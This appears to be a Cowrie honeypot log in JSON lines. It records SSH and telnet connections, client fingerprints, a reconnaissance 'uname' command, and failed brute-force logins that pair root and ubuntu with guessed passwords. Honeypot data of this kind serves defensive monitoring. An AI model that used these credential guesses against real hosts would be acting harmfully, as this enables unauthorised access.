{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:29.872240Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:29.874732Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:30.114245Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:30.119141Z","src_ip":"160.187.174.22","session":"19244dabe311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52650,"dst_ip":"159.203.135.109","dst_port":23,"session":"8223be81ce25","protocol":"telnet","message":"New connection: 107.6.151.170:52650 (159.203.135.109:23) [session: 8223be81ce25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:33.256451Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":39386,"dst_ip":"10.17.0.5","dst_port":22,"session":"48beaf97d92f","protocol":"ssh","message":"New connection: 192.169.244.109:39386 (10.17.0.5:22) [session: 48beaf97d92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:36.879979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:36.883976Z","src_ip":"192.169.244.109","session":"48beaf97d92f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:36.957043Z","src_ip":"192.169.244.109","session":"48beaf97d92f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ttr3x#S3cur3!","message":"login attempt [root/B1ttr3x#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:37.153382Z","src_ip":"192.169.244.109","session":"48beaf97d92f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:38.221551Z","src_ip":"192.169.244.109","session":"48beaf97d92f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44716,"dst_ip":"159.203.135.109","dst_port":23,"session":"48afd96ceb30","protocol":"telnet","message":"New connection: 170.64.224.25:44716 (159.203.135.109:23) [session: 48afd96ceb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:43.841194Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":52330,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c84ff1b1e13","protocol":"ssh","message":"New connection: 43.160.200.19:52330 (159.203.135.109:22) [session: 7c84ff1b1e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:52.398936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:52.402812Z","src_ip":"43.160.200.19","session":"7c84ff1b1e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:52.646718Z","src_ip":"43.160.200.19","session":"7c84ff1b1e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:53.658727Z","src_ip":"43.160.200.19","session":"7c84ff1b1e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:54.907292Z","src_ip":"43.160.200.19","session":"7c84ff1b1e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43654,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff6221e5b19","protocol":"ssh","message":"New connection: 160.187.174.22:43654 (159.203.135.109:22) [session: 5ff6221e5b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:55.167305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:55.172029Z","src_ip":"160.187.174.22","session":"5ff6221e5b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:55.425200Z","src_ip":"160.187.174.22","session":"5ff6221e5b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49884,"dst_ip":"159.203.135.109","dst_port":23,"session":"597e7f900c65","protocol":"telnet","message":"New connection: 107.6.151.170:49884 (159.203.135.109:23) [session: 597e7f900c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:55.736433Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:56.200195Z","src_ip":"160.187.174.22","session":"5ff6221e5b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:57.480906Z","src_ip":"160.187.174.22","session":"5ff6221e5b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":48778,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcfd1194d6a7","protocol":"ssh","message":"New connection: 103.172.78.219:48778 (159.203.135.109:22) [session: bcfd1194d6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:57.518611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:57.522439Z","src_ip":"103.172.78.219","session":"bcfd1194d6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:57.778573Z","src_ip":"103.172.78.219","session":"bcfd1194d6a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20112012","message":"login attempt [root/20112012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:58.550457Z","src_ip":"103.172.78.219","session":"bcfd1194d6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:07:59.809521Z","src_ip":"103.172.78.219","session":"bcfd1194d6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04049897193909,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:05.296855Z","src_ip":"107.6.151.170","session":"8223be81ce25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":35826,"dst_ip":"10.17.0.5","dst_port":22,"session":"81a12875b9c3","protocol":"ssh","message":"New connection: 85.215.121.209:35826 (10.17.0.5:22) [session: 81a12875b9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:05.580040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:05.583832Z","src_ip":"85.215.121.209","session":"81a12875b9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:05.740875Z","src_ip":"85.215.121.209","session":"81a12875b9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"D@y$S3cur3@W0rd","message":"login attempt [root/D@y$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:06.014802Z","src_ip":"85.215.121.209","session":"81a12875b9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:07.108213Z","src_ip":"85.215.121.209","session":"81a12875b9c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44316,"dst_ip":"159.203.135.109","dst_port":23,"session":"968072a2664c","protocol":"telnet","message":"New connection: 107.6.151.170:44316 (159.203.135.109:23) [session: 968072a2664c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:11.134897Z"}
{"eventid":"cowrie.session.closed","duration":0.004124164581298828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:11.138926Z","src_ip":"107.6.151.170","session":"968072a2664c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.60.130.219","src_port":20356,"dst_ip":"159.203.135.109","dst_port":22,"session":"68d7772b8e7a","protocol":"ssh","message":"New connection: 62.60.130.219:20356 (159.203.135.109:22) [session: 68d7772b8e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:19.961264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:19.965225Z","src_ip":"62.60.130.219","session":"68d7772b8e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:20.077777Z","src_ip":"62.60.130.219","session":"68d7772b8e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:20.563286Z","src_ip":"62.60.130.219","session":"68d7772b8e7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55134,"dst_ip":"159.203.135.109","dst_port":22,"session":"d783c80de59b","protocol":"ssh","message":"New connection: 160.187.174.22:55134 (159.203.135.109:22) [session: d783c80de59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:23.288806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:23.291724Z","src_ip":"160.187.174.22","session":"d783c80de59b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:23.533970Z","src_ip":"160.187.174.22","session":"d783c80de59b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:24.255484Z","src_ip":"160.187.174.22","session":"d783c80de59b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:25.503972Z","src_ip":"160.187.174.22","session":"d783c80de59b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":59970,"dst_ip":"10.17.0.5","dst_port":22,"session":"321f277aac39","protocol":"ssh","message":"New connection: 14.177.234.24:59970 (10.17.0.5:22) [session: 321f277aac39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:26.121177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:08:26.125089Z","src_ip":"14.177.234.24","session":"321f277aac39","protocol":"ssh"}
